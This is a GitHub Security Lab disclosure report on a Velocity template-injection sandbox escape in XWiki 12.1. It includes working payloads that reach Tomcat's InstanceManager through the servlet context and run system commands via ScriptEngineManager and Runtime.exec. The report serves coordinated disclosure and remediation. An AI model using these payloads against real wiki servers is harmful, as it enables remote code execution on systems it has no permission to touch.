GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-046

The GitHub Security Lab team has identified potential security vulnerabilities in XWiki.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include your GHSL-2020-046).

If you are NOT the correct point of contact for this report, please let us know!

Summary

A user with privileges to edit wiki content may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running XWiki.

Product

XWiki

Tested Version

XWiki 12.1

Details

Server-Side Template Injection (Velocity)

Even though XWiki does a good job installing the Velocity SecureUberspector to sandbox the User macro templates, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects. In particular, it exposes the Servlet Context through $request.getServletContext()

We can then list all Servlet Context attributes with:

<ul>
#foreach( $attr in $request.getServletContext().getAttributeNames() )
<li>$attr</li>
#end
</ul>

On a Tomcat server (used in official XWiki Docker image), we get:

javax.servlet.context.tempdir
org.apache.catalina.resources
org.apache.struts.action.REQUEST_PROCESSOR
org.apache.tomcat.InstanceManager
org.apache.catalina.jsp_classpath
org.apache.struts.action.MODULE
org.apache.struts.action.PLUG_INS
org.restlet.ext.servlet.ServerServlet.component.RestletServlet
org.apache.tomcat.JarScanner
org.xwiki.component.manager.ComponentManager
javax.servlet.context.orderedLibs
org.apache.struts.globals.MODULE_PREFIXES
org.apache.struts.action.SERVLET_MAPPING
org.restlet.ext.servlet.ServerServlet.application.RestletServlet
org.apache.struts.action.ACTION_SERVLET
xwiki
org.restlet.ext.servlet.ServerServlet.server.RestletServlet

The most interesting one is org.apache.tomcat.InstanceManager which enables us to instantiate arbitrary objects. Note that this class is available on e.g. Jetty as well and similar classes are available on other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage.

An attacker can access an Instance manager with any of the options below (probably more):

${request.servletContext.getAttribute('org.apache.tomcat.InstanceManager')}
${request.servletContext.getAttribute('org.apache.catalina.resources').getContext().getInstanceManager()}

Once an attacker gets access to an Instance Manager, they can use it to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution, effectively bypassing the sandbox. Probably the most common one is to instantiate a ScriptEngineManager:

<p>$request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')")</p>

Impact

This issue may lead to Remote Code Execution.

Remediation

Limit the objects that are available through the Templating API. In particular most Servlet Context attributes should not be exposed to content creators.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).

Disclosure Policy

This report is subject to a 90 day coordinated disclosure policy.

The disclosure deadline for the findings outlined in this report is: June 16, 2020